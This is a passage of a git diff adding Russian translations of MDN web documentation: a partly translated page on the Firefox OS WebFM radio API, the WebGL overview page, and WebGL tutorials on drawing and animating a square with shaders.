+slug: Web/API/WebFM_API
+tags:
+  - WebFMAPI
+translation_of: Archive/B2G_OS/API/WebFM_API
+---
+<p>{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('installed') }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>The WebFM API provides access to the device FM radio. It allows turning the radio on/off and switching among radio stations. This API is available through the {{domxref("window.navigator.mozFMRadio","navigator.mozFMRadio")}} property which is a {{domxref("FMRadio")}} object.</p>
+
+<h2 id="Включение_и_выключение_радио">Включение и выключение радио</h2>
+
+<p>Для того чтобы включить радио используйте метод {{domxref("FMRadio.enable()")}}, для выключения {{domxref("FMRadio.disable()")}}.</p>
+
+<p>Перед включением радио следует проверить доступность антены, так как без нее встроенный радиомодуль не в состоянии поймать какую либо станцию. Информация о доступности антенны находится в свойстве {{domxref("FMRadio.antennaAvailable")}}. Как правило, в мобильных устройствах роль антены выполняют наушники (проводная гарнитура). Каждый раз когда пользователь подсоединяет или отсоединяет проводную гарнитуру WebFM API вызывает событие {{event("antennaavailablechange")}}.</p>
+
+<p>To turn the radio on it's necessary to provide a frequency to listen. That frequency (in MHz) is a number pass to the {{domxref("FMRadio.enable()")}} method.</p>
+
+<pre class="brush: js">// Частота радиостанции в MHz
+var frequency = 99.1;
+var radio = navigator.mozFMRadio;
+
+if (radio.antennaAvailable) {
+  radio.enable(frequency);
+} else {
+  alert("Вам необходимо подсоединить гарнитуру");
+}
+
+radio.addEventListener('antennaavailablechange', function () {
+  if (radio.antennaAvailable) {
+    radio.enable(frequency);
+  } else {
+    radio.disable();
+  }
+})
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> The audio is output through the <code>normal</code> audio channel available on the device.</p>
+</div>
+
+<h2 id="Switching_among_frequency">Switching among frequency</h2>
+
+<p>Switching from on frequency to another can be done manually or automatically. In any case, the current radio frequency listened to by the built-in radio is always available with the {{domxref("FMRadio.frequency")}} property. That property is number representing the frequency in <a href="http://en.wikipedia.org/wiki/Hertz" title="http://en.wikipedia.org/wiki/Hertz">MHz</a>.</p>
+
+<h3 id="Manual_switch">Manual switch</h3>
+
+<p>The {{domxref("FMRadio.setFrequency()")}} method must be used to set a new frequency to listen. However, there are some constraints about the value that can be set. The method will return a {{domxref("DOMRequest")}} object to handle the success or error of the method call. The frequency must fulfill the following requirements:</p>
+
+<ul>
+ <li>The frequency must be in the range defined by {{domxref("FMRadio.frequencyLowerBound")}} and {{domxref("FMRadio.frequencyUpperBound")}}. If the frequency is out of range, it will result in an error.</li>
+ <li>The frequency must be stepped based on the value of {{domxref("FMRadio.channelWidth")}}. If it's not the case, the frequency will be rounded accordingly. For example, if 100MHz is a valid frequency and if {{domxref("FMRadio.channelWidth","channelWidth")}} has the value 0.2, trying to set a frequency of 100.15 will result in a frequency set to 100.2.</li>
+</ul>
+
+<pre class="brush: js">var change = radio.setFrequency(frequency);
+
+change.onerror = function () {
+  var min = radio.frequencyLowerBound;
+  var max = radio.frequencyUpperBound;
+  console.warn('The frequency must be within the range [' + min + ',' + max + ']');
+}
+
+change.onsuccess = function () {
+  console.log('The frequency has been set to ' + radio.frequency);
+}
+</pre>
+
+<h3 id="Автоматический_поиск">Автоматический поиск</h3>
+
+<p>WebFM API предоставляет удобный способ автоматического поиска радиоканалов. Для восходящего поиска используйте метод {{domxref("FMRadio.seekUp()")}}, а для низходящего, метод {{domxref("FMRadio.seekDown()")}}.</p>
+
+<p>The WebFM API also provides a convinient way to seek radio channels automatically. To that end, we can use the {{domxref("FMRadio.seekUp()")}} (to find a radio channel on a higher frequency than the current one) and {{domxref("FMRadio.seekDown()")}} method. The former is used to find a radio channel with a higher frequency than the current one, and the latter for a radio channel with a lower frequency. Those methods return a {{domxref("DOMRequest")}} object to handle the success or error of each method call.</p>
+
+<p>Both methods will circle back to higher or lower frequency once they reach the {{domxref("FMRadio.frequencyLowerBound","frequencyLowerBound")}} or {{domxref("FMRadio.frequencyUpperBound","frequencyUpperBound")}} values. When they find a new radio channel, they change the current frequency and fire a {{event("frequencychange")}} event.</p>
+
+<p>It's not possible to seek twice at the same time (e.g. it's not possible to seek up and down at the same time), trying to do so, will result in an error. But if necessary it's possible to stop seeking by calling the {{domxref("FMRadio.cancelSeek()")}} method. This method will also return a {{domxref("DOMRequest")}} object.</p>
+
+<pre class="brush: js">var radio   = navigator.mozFMRadio;
+var seeking = false;
+var UP      = document.querySelector("button.up");
+var DOWN    = document.querySelector("button.down");
+
+// When the frequency change, the seek
+// functions automatically stop to seek.
+radio.onfrequencychange = function () {
+  seeking = false;
+}
+
+function seek(direction) {
+  var cancel, search;
+
+  // If the radio is already seeking
+  // we will cancel the current search.
+  if (seeking) {
+    var cancel = radio.cancelSeek();
+    cancel.onsuccess = function () {
+      seeking = false;
+
+      // Once the radio no longer seek,
+      // we can try to seek as expected
+      seek(direction);
+    }
+
+  // Let's seek up
+  } else if (direction === 'up') {
+    // Just to be sure that the radio is turned on
+    if (!radio.enabled) {
+      radio.enable(radio.frequencyLowerBound);
+    }
+    search = radio.seekUp();
+
+  // Let's seek up
+  } else if (direction === 'down' {
+    // Just to be sure that the radio is turned on
+    if (!radio.enabled) {
+      radio.enable(radio.frequencyUpperBound);
+    }
+    search = radio.seekDown();
+  }
+
+  if (search) {
+    search.onsuccess = function () {
+      // Ok, we are seeking now.
+      seeking = true;
+    };
+    search.onerror = function () {
+      // Something goes wrong... ok, let's try again.
+      seek(direction);
+    }
+  }
+}
+
+UP.addEventListener('click', function () {
+  seek('up');
+});
+
+DOWN.addEventListener('click', function () {
+  seek('down');
+});
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<p>Not part of any specification.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("FMRadio")}}</li>
+ <li><a href="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm" title="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm">The FM app on Gaïa</a></li>
+</ul>
diff --git a/files/ru/web/api/webgl_api/index.html b/files/ru/web/api/webgl_api/index.html
new file mode 100644
index 0000000000..6a35a2dda3
--- /dev/null
+++ b/files/ru/web/api/webgl_api/index.html
@@ -0,0 +1,106 @@
+---
+title: WebGL
+slug: Web/API/WebGL_API
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API
+---
+<div>{{WebGLSidebar}}</div>
+
+<p class="summary">WebGL (Web Graphics Library) - программная библиотека для языка JavaScript предназначенная для визуализации интерактивной трехмерной графики и двухмерной графики в пределах совместимости веб-браузера без использования плагинов. WebGL приносит в веб трехмерную графику, вводя API, который построен на основе OpenGL ES 2.0, что позволяет его использовать в элементах <a href="/en-US/docs/HTML/Canvas" title="en-US/docs/html/canvas"><code> canvas</code></a> HTML5 .</p>
+
+<p>Поддержка WebGL присутствует в <a href="/en-US/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/safari/" title="http://www.apple.com/fr/safari/">Safari </a>5.1+ и <a href="http://windows.microsoft.com/en-us/internet-explorer/browser-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+. Однако помимо поддержки WebGL браузером, необходима также его поддержка графическим процессором клиента.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Разработка">Разработка</h2>
+
+    <dl>
+     <dt><a href="/ru/docs/Web/WebGL/Getting_started_with_WebGL" title="en-US/docs/WebGL/Getting started with WebGL">Начало работы с WebGL</a></dt>
+     <dd>Как настроить контекст WebGL .</dd>
+     <dt><a href="/ru/docs/Web/WebGL/Adding_2D_content_to_a_WebGL_context" title="en-US/docs/WebGL/Adding 2D content to a WebGL context">Добавление 2D контента в контекст WebGL</a></dt>
+     <dd>Как отобразить простую плоскую фигуру с помощью WebGL.</dd>
+     <dt><a href="/ru/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL" title="en-US/docs/WebGL/Using shaders to apply color in WebGL">Использование шейдеров для назначения цвета в WebGL</a></dt>
+     <dd>Демонстрирует как добавить цвет фигурам, используя шейдеры.</dd>
+     <dt><a href="/ru/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL" title="en-US/docs/WebGL/Animating objects with WebGL">Анимация объектов с помощью WebGL</a></dt>
+     <dd>Показывает как повернуть и перемещать объекты для создания простой анимации.</dd>
+     <dt><a href="/en-US/docs/WebGL/Creating_3D_objects_using_WebGL" title="en-US/docs/WebGL/Creating 3D objects using WebGL">Создание 3D объектов с помощью WebGL</a></dt>
+     <dd>Показывает как создавать и анимировать 3D объект (в данном случае куб).</dd>
+     <dt><a href="/en-US/docs/WebGL/Using_textures_in_WebGL" title="en-US/docs/WebGL/Using textures in WebGL">Использование текстур в WebGL</a></dt>
+     <dd>Демонстрирует как разместить текстуры на гранях объекта.</dd>
+     <dt><a href="/en-US/docs/WebGL/Lighting_in_WebGL" title="en-US/docs/WebGL/Lighting in WebGL">Освещение в WebGL</a></dt>
+     <dd>Как имитировать эффекты освещения в контексте WebGL .</dd>
+     <dt><a href="/en-US/docs/WebGL/Animating_textures_in_WebGL" title="en-US/docs/WebGL/Animating textures in WebGL">Анимация текстур в WebGL</a></dt>
+     <dd>Показывает как анимировать текстуры; в данном случае путём размещения видео Ogg на гранях вращающегося куба.</dd>
+     <dt><a href="/en-US/docs/WebGL/WebGL_best_practices" title="en-US/docs/WebGL/WebGL best practices">WebGL: советы по применению на практике</a></dt>
+     <dd>Советы и предложения по улучшению контента, созданного вами при помощи WebGL.</dd>
+     <dt><a href="/en-US/docs/WebGL/Cross-Domain_Textures" title="en-US/docs/WebGL/Cross-Domain Textures">Текстуры с других доменов</a></dt>
+     <dd>Информация о загрузке текстур с других доменов, отличных от того, с которого загружается ваш контент.</dd>
+     <dt><a href="/en-US/docs/WebGL/Using_Extensions" title="en-US/docs/WebGL/Using_Extensions">Использование расширений</a></dt>
+     <dd>Как использовать расширения, доступные в WebGL.</dd>
+    </dl>
+   </td>
+   <td>
+    <h2 class="Related_Topics" id="Ресурсы">Ресурсы</h2>
+
+    <dl>
+     <dt><a class="link-https" href="https://www.khronos.org/registry/webgl/specs/1.0/" title="https://www.khronos.org/registry/webgl/specs/1.0/">Спецификация WebGL</a></dt>
+     <dd>Спецификация WebGL.</dd>
+     <dt><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Официальный сайт WebGL</a></dt>
+     <dd>Веб-сайт разработчиков WebGL - Khronos Group.</dd>
+     <dt><a class="external" href="http://learningwebgl.com/blog/" title="http://learningwebgl.com/blog/">Изучение WebGL</a></dt>
+     <dd>Веб-сайт с уроками, посвященными использованию WebGL.</dd>
+     <dt><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">Основы WebGL</a></dt>
+     <dd>Учебные материалы по основным возможностям WebGL.</dd>
+     <dt><a href="http://games.greggman.com/game/webgl-2d-matrices/">Матрицы в WebGL</a></dt>
+     <dd>Введение в использование матриц в двухмерной графике на WebGL. На этом ресурсе объясняется математическая основа перспективы в трехмерной графике.</dd>
+     <dt><a class="external" href="http://learningwebgl.com/cookbook/index.php/" title="http://learningwebgl.com/cookbook/index.php/">Советы по использованию WebGL</a></dt>
+     <dd>Веб-сайт с советами по написанию кода на WebGL.</dd>
+     <dt><a class="external" href="http://code.google.com/p/ewgl-matrices/" title="http://code.google.com/p/ewgl-matrices/">ewgl-matrices</a></dt>
+     <dd>Библиотека для работы с матрицами для WebGL</dd>
+     <dt><a class="link-https" href="https://github.com/toji/gl-matrix" title="https://github.com/toji/gl-matrix">glMatrix</a></dt>
+     <dd>Библиотека для работы с матрицами и векторами, написанная на JavaScript, предназначенная для высокопроизводительных приложений на WebGL</dd>
+     <dt><a class="external" href="http://code.google.com/p/webgl-mjs/" title="http://code.google.com/p/webgl-mjs/">mjs</a></dt>
+     <dd><span>Математическая библиотека для работы с векторами и матрицами, написанная на JavaScript, оптимизированная для использования с WebGL.</span></dd>
+     <dt><a class="external" href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a></dt>
+     <dd>Библиотека с открытым исходным кодом для работы с векторами и матрицами. Не оптимизирована для WebGL, но производительная.</dd>
+     <dt><a class="external" href="http://webglplayground.net" title="http://webglplayground.net">WebGL площадка</a></dt>
+     <dd>Онлайн инструмент для создания и публикации проектов на WebGL. Удобна для быстрого прототипирования и экспериментирования.</dd>
+     <dt><a href="http://www.webglacademy.com" title="http://www.webglacademy.com">Академия WebGL</a></dt>
+     <dd>Редактор HTML/Javascript с учебными материалами для обучения основам программирования на webgl.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<h3 id="WebGL_1">WebGL 1</h3>
+
+<div>
+
+
+<p>{{Compat("api.WebGLRenderingContext", 0)}}</p>
+
+<h3 id="WebGL_2">WebGL 2</h3>
+</div>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.WebGL2RenderingContext", 0)}}</p>
+
+<h3 id="Замечания_по_Gecko">Замечания по Gecko</h3>
+
+<h4 id="Отладка_и_тестирование_WebGL">Отладка и тестирование WebGL</h4>
+
+<p>Начиная с Gecko 10.0 {{geckoRelease("10.0")}}, имеются две настройки, позволяющие вам управлять возможностями WebGL для тестирования своего кода:</p>
+
+<dl>
+ <dt><code>webgl.min_capability_mode</code></dt>
+ <dd>Свойство типа Boolean которое, при значении <code>true</code> позволяет запускать режим минимальных функциональных возможностей. В этом режиме WebGL сконфигурирован осуществлять поддержку минимального набора функциональных возможностей, поддержка которых обязательна по спецификации WebGL. Это позволяет вам убедиться в том, что ваш код на WebGL будет работать на любом устройстве или браузере, независимо от их возможностей. Значением по умолчанию для это свойства является значение <code>false</code>.</dd>
+ <dt><code>webgl.disable_extensions</code></dt>
+ <dd>Свойство типа Boolean которое, при значении <code>true</code> отключает все расширения WebGL. Значением по умолчанию для это свойства является значение <code>false</code>.</dd>
+</dl>
diff --git a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
new file mode 100644
index 0000000000..98198d8f7e
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
@@ -0,0 +1,223 @@
+---
+title: Добавление двухмерного контента в контекст WebGL
+slug: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</p>
+
+<p>После того, как вы успешно <a href="/ru/docs/Web/WebGL/Getting_started_with_WebGL" title="en/WebGL/Getting started with WebGL">создали контекст WebGL</a>, вы можете начинать отображать в нем графические объекты. Простейшая вещь, которую вы можете сделать - отрисовать простой квадрат без текстуры. Итак, начнём построение кода для отрисовки квадрата.</p>
+
+<h2 id="Отрисовка_сцены">Отрисовка сцены</h2>
+
+<p>На данном этапе очень важно понять одну вещь: не смотря на то, что мы в этом примере отрисовываем двухмерный объект, мы по-прежнему отрисовываем его в трехмерном пространстве. По существу, нам по-прежнему необходимо создать шейдеры, которые будут освещать нашу простую сцену,  и отрисовать наш объект. На данном шаге определим как квадрат будет освещаться.</p>
+
+<h3 id="Инициализация_шейдеров">Инициализация шейдеров</h3>
+
+<p>Шейдеры задаются при помощи языка высокого уровня для программирования шейдеров - <a class="external" href="http://www.khronos.org/registry/gles/specs/2.0/GLSL_ES_Specification_1.0.17.pdf" title="http://www.khronos.org/registry/gles/specs/2.0/GLSL_ES_Specification_1.0.17.pdf">OpenGL ES Shading Language</a>. Для того, чтобы сделать проще процесс поддержки и обновления нашего контента, мы можем фактически написать наш код, загружающий шейдеры и помещающий их в HTML документ, вместо того, чтобы встраивать его весь в JavaScript. Давайте рассмотрим нашу процедуру <code>initShaders()</code>, которая выполнит эту задачу:</p>
+
+<pre class="brush: js">function initShaders() {
+  var fragmentShader = getShader(gl, "shader-fs");
+  var vertexShader = getShader(gl, "shader-vs");
+
+  // создать шейдерную программу
+
+  shaderProgram = gl.createProgram();
+  gl.attachShader(shaderProgram, vertexShader);
+  gl.attachShader(shaderProgram, fragmentShader);
+  gl.linkProgram(shaderProgram);
+
+  // Если создать шейдерную программу не удалось, вывести предупреждение
+
+  if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
+    alert("Unable to initialize the shader program.");
+  }
+
+  gl.useProgram(shaderProgram);
+
+  vertexPositionAttribute = gl.getAttribLocation(shaderProgram, "aVertexPosition");
+  gl.enableVertexAttribArray(vertexPositionAttribute);
+}
+
+</pre>
+
+<p>Этой процедурой загружаются две шейдерные программы. Первая - фрагментный шейдер, загружается из элемента <a href="/en/HTML/Element/Script" title="En/HTML/Element/Script"><code>script</code></a> с ID "shader-fs". Вторая - вершинный шейдер, загружается из элемента <a href="/en/HTML/Element/Script" title="En/HTML/Element/Script"><code>script</code></a> с ID "shader-vs". Мы рассмотрим функцию <code>getShader()</code> чуть ниже. Эта процедура фактически отвечает за извлечение шейдерных программ из DOM.</p>
+
+<p>Затем мы создаем шейдерную программу, вызывая функцию <code>createProgram()</code> объекта WebGL, присоединяя два шейдера к нему, и связывая шейдерную программу. После выполнения этого, проверяется значение параметра <code>LINK_STATUS</code> объекта <code>gl</code> для того, чтобы убедиться, что программа успешно скомпанована. Если это так, мы активируем новую шейдерную программу.</p>
+
+<h3 id="Загрузка_шейдеров_из_DOM">Загрузка шейдеров из DOM</h3>
+
+<p>Функция <code>getShader()</code> получает из DOM шейдерную программу с определенным именем, возвращая скомпилированную шейдерную программу вызывающему, или значение null, если шейдерная программа не может быть загружена или скомпилирована.</p>
+
+<pre class="brush: js">function getShader(gl, id) {
+  var shaderScript, theSource, currentChild, shader;
+
+  shaderScript = document.getElementById(id);
+
+  if (!shaderScript) {
+    return null;
+  }
+
+  theSource = "";
+  currentChild = shaderScript.firstChild;
+
+  while(currentChild) {
+    if (currentChild.nodeType == currentChild.TEXT_NODE) {
+      theSource += currentChild.textContent;
+    }
+
+    currentChild = currentChild.nextSibling;
+  }
+</pre>
+
+<p>Как только элемент с указанным ID найден, его текст помещается в переменную <code>theSource</code>.</p>
+
+<pre class="brush: js">  if (shaderScript.type == "x-shader/x-fragment") {
+    shader = gl.createShader(gl.FRAGMENT_SHADER);
+  } else if (shaderScript.type == "x-shader/x-vertex") {
+    shader = gl.createShader(gl.VERTEX_SHADER);
+  } else {
+     // неизвестный тип шейдера
+     return null;
+  }</pre>
+
+<p>После того, как код для шейдера считан, мы проверяем MIME тип шейдерного объекта, чтобы определить является он вершинным (MIME type "x-shader/x-vertex") или фрагментным (MIME type "x-shader/x-fragment") шейдером, а затем создаем соответствующий тип шейдера из полученного исходного кода.</p>
+
+<pre class="brush: js">  gl.shaderSource(shader, theSource);
+
+  // скомпилировать шейдерную программу
+  gl.compileShader(shader);
+
+  // Проверить успешное завершение компиляции
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+      alert("An error occurred compiling the shaders: " + gl.getShaderInfoLog(shader));
+      return null;
+  }
+
+  return shader;
+}
+</pre>
+
+<p>В результате, исходный код, передан в переменную shader и скомпилирован. Если произошли ошибки во время компиляции кода шейдера, мы отображаем окно с предупреждением и возвращаем значение null; Иначе, возвращается новый скомпилированный шейдер.</p>
+
+<h3 id="Шейдеры">Шейдеры</h3>
+
+<p>После этого нам необходимо добавить шейдерные программы в HTML описывающий наш документ. Подробная информация о том, как работают шейдеры выходит за рамки этой статьи, как и впрочем описание синтаксиса языка программирования шейдеров.</p>
+
+<h4 id="Фрагментный_шейдер">Фрагментный шейдер</h4>
+
+<p>Каждый пиксель в полигоне называется <strong>фрагментом</strong> в языке GL. Фрагментные шейдеры необходимы для назначения цвета для каждого пикселя. В данном случае, мы просто назначаем белый цвет каждому пикселю.</p>
+
+<p><code>gl_FragColor</code> - встроенная переменная GL, используемая для управления цветом фрагментов. Устанавливая ее значение назначаем цвет пикселям. Ниже приведен пример этого.</p>
+
+<pre class="brush: html">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+  void main(void) {
+    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+  }
+&lt;/script&gt;
+</pre>
+
+<h4 id="Вершинный_шейдер">Вершинный шейдер</h4>
+
+<p>Вершинный шейдер определяет положение и форму каждой вершины.</p>
+
+<pre class="brush: html">&lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+  attribute vec3 aVertexPosition;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+  }
+&lt;/script&gt;
+</pre>
+
+<h2 id="Создание_объекта">Создание объекта</h2>
+
+<p>Перед тем, как мы отрисуем наш квадрат, нам необходимо создать буфер, который содержит его вершины. Мы сделаем это,  вызвав функцию <code>initBuffers().</code> По мере ознакомления с другими концепциями WebGL, эта функция будет усложняться при создании более сложных трехмерных объектов.</p>
+
+<pre class="brush: js">var horizAspect = 480.0/640.0;
+
+function initBuffers() {
+  squareVerticesBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+
+  var vertices = [
+    1.0,  1.0,  0.0,
+    -1.0, 1.0,  0.0,
+    1.0,  -1.0, 0.0,
+    -1.0, -1.0, 0.0
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertices), gl.STATIC_DRAW);
+}
+</pre>
+
+<p>В этом примере эта функция упрощена и дает оценить основную суть сцены. Она начинает работу с вызова метода <code>createBuffer()</code> объекта <code>gl</code> для получения буфера, в котором мы будем хранить вершины. Затем он привязывается к контексту, вызовом метода <code>bindBuffer()</code>.</p>
+
+<p>После того, как мы это сделали, мы создаем JavaScript массив, содержащий координаты для каждой вершины квадрата. Затем этот массив преобразуется в массив вещественных чисел WebGL и передается в метод <code>bufferData()</code> объекта <code>gl</code> для назначения вершин объекту.</p>
+
+<h2 id="Отрисовка_сцены_2">Отрисовка сцены</h2>
+
+<p>Как только шейдеры установлены и объект создан, мы можем действительно отрисовать сцену. Поскольку в этом примере нет какой-либо анимации, наша функция <code>drawScene()</code> имеет очень простой вид. Она использует несколько утилитарных процедур, которые мы кратко рассмотрим ниже.</p>
+
+<pre class="brush: js">function drawScene() {
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  perspectiveMatrix = makePerspective(45, 640.0/480.0, 0.1, 100.0);
+
+  loadIdentity();
+  mvTranslate([-0.0, 0.0, -6.0]);
+
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+  gl.vertexAttribPointer(vertexPositionAttribute, 3, gl.FLOAT, false, 0, 0);
+  setMatrixUniforms();
+  gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
+}
+</pre>
+
+<p>Первый шаг - очистка цветом фона сцены контекста. Затем мы устанавливаем перспективу камеры. Мы устанавливаем угол обзора в 45°, с соотношением ширины к высоте равным 640/480 (размеры нашего объекта canvas). Мы также определяем, что мы хотим видеть отрисованными объекты на расстоянии от 0.1 до 100 единиц от камеры.</p>
+
+<p>Затем мы устанавливаем позицию квадрата, загружая определенную позицию и размещая ее от камеры на 6 единиц. После этого, мы привязываем буфер, содержащий вершины квадрата к контексту, настраиваем его, и отрисовываем объект, вызывая метод <code>drawArrays()</code>.</p>
+
+<p>Вы можете <a href="/samples/webgl/sample2" title="https://developer.mozilla.org/samples/webgl/sample2">посмотреть как это работает щелкнув по этой ссылке</a>. Но это только в том случае, если используемый браузер осуществляет поддержку WebGL.</p>
+
+<h2 id="Операции_над_матрицами">Операции над матрицами</h2>
+
+<p>Операции над матрицами достаточно сложны. Никому бы не хотелось самому писать весь код для работы с ними. К счастью, есть <a class="external" href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a> - очень удобная библиотека для выполнения операций над векторами и матрицами, написанная на JavaScript.</p>
+
+<p>Файл <code>glUtils.js</code>, используемый в этом примере, используется большинством примеров на WebGL, размещенных в сети интернет. Никто не знает точно откуда он появился. Он просто используется Sylvester и он даже пополняется методами для построения специальных типов матриц, а также вывода HTML для их отображения.</p>
+
+<p>Также, этот пример определяет несколько полезных процедур взаимодействия с этими библиотеками для выполнения определенных задач. Пояснения относительно того, что делает каждая из приведенных функций, выходят за рамки этого примера, но в сети есть много хороших материалов об операциях над матрицами. Чуть {{ anch("ниже") }} есть список некоторых из них.</p>
+
+<pre class="brush: js">function loadIdentity() {
+  mvMatrix = Matrix.I(4);
+}
+
+function multMatrix(m) {
+  mvMatrix = mvMatrix.x(m);
+}
+
+function mvTranslate(v) {
+  multMatrix(Matrix.Translation($V([v[0], v[1], v[2]])).ensure4x4());
+}
+
+function setMatrixUniforms() {
+  var pUniform = gl.getUniformLocation(shaderProgram, "uPMatrix");
+  gl.uniformMatrix4fv(pUniform, false, new Float32Array(perspectiveMatrix.flatten()));
+
+  var mvUniform = gl.getUniformLocation(shaderProgram, "uMVMatrix");
+  gl.uniformMatrix4fv(mvUniform, false, new Float32Array(mvMatrix.flatten()));
+}
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://mathworld.wolfram.com/Matrix.html" title="http://mathworld.wolfram.com/Matrix.html">Матрицы</a> на Wolfram MathWorld</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Matrix_(mathematics)" title="http://en.wikipedia.org/wiki/Matrix_(mathematics)">Матрица</a> (Wikipedia)</li>
+</ul>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</p>
diff --git a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
new file mode 100644
index 0000000000..6d18ab5490
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
@@ -0,0 +1,123 @@
+---
+title: Оживление объектов при помощи WebGL
+slug: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
+
+<p>Наш код оставшийся от предыдущего примера уже насроен на перерисовку нашей WebGL сцены каждые 15 миллисекунд. До сих пор мы просто отрисовывали в точности одно и то же каждый раз. Пришло время изменить это так, чтобы наш квадрат начал двигаться.</p>
+
+<p>В этом примере мы заставим наш двумерный квадрат вращаться и двигаться во всех трёх направлениях. Это докажет, что не смотря на то, что мы создавали всего-лишь двумерный объект, он всё ещё существует в трёхмерном пространстве.</p>
+
+<h2 id="Заставим_квадрат_вращаться">Заставим квадрат вращаться</h2>
+
+<p>Давайте начнём с того, что заставим квадрат вращаться. Для начала нам понадобится переменная значение в которой будет отражать текущий угол поворота нашего квадрата:</p>
+
+<pre class="brush: js">var squareRotation = 0.0;
+</pre>
+
+<p>Теперь нам надо изменить процедуру <code>drawScene()</code> и добавить в неё код, который бы учитывал этот угол поворота при отрисовке квадрата в нашей сцене. После первоначального рассчёта матрицы положения для квадрата мы применяем условия поворота следующим образом:</p>
+
+<pre class="brush: js">mvPushMatrix();
+mvRotate(squareRotation, [1, 0, 1]);
+</pre>
+
+<p>Этот код сохраняет матрицу текущего положения, затем поворачивает матрицу на текущее значение переменной <code>squareRotation</code> вокруг осей X и Z.</p>
+
+<p>После отрисовки мы восстанавливаем изначальное состояние матрицы положения:</p>
+
+<pre class="brush: js">  mvPopMatrix();
+</pre>
+
+<p>Мы сохраняем и восстанавливаем состояние матрицы положения чтобы избежать влияние поворота на другие объекты, которые мы можем захотеть отобразить.</p>
+
+<p>Чтобы заставить квадрат крутиться нам нужно добавить в программу код, который будет изменять значение переменной <code>squareRotation</code> во времени. Для этого мы заведём ещё одну переменную в которую будем записывать время последней отрисовки (давайте назовём её <code>lastSquareUpdateTime</code>), затем добавим следующий код в конец нашей процедуры <code>drawScene()</code>:</p>
+
+<pre class="brush: js">  var currentTime = (new Date).getTime();
+  if (lastSquareUpdateTime) {
+  	var delta = currentTime - lastSquareUpdateTime;
+
+  	squareRotation += (30 * delta) / 1000.0;
+  }
+
+  lastSquareUpdateTime = currentTime;
+</pre>
+
+<p>Этот код использует количество времени прошедшего с момента, когда мы в последний раз изменяли значение переменной <code>squareRotation</code> чтобы определить как сильно нужно повернуть квадрат.</p>
+
+<h2 id="Сделаем_так_чтобы_квадрат_начал_двигаться">Сделаем так, чтобы квадрат начал двигаться</h2>
+
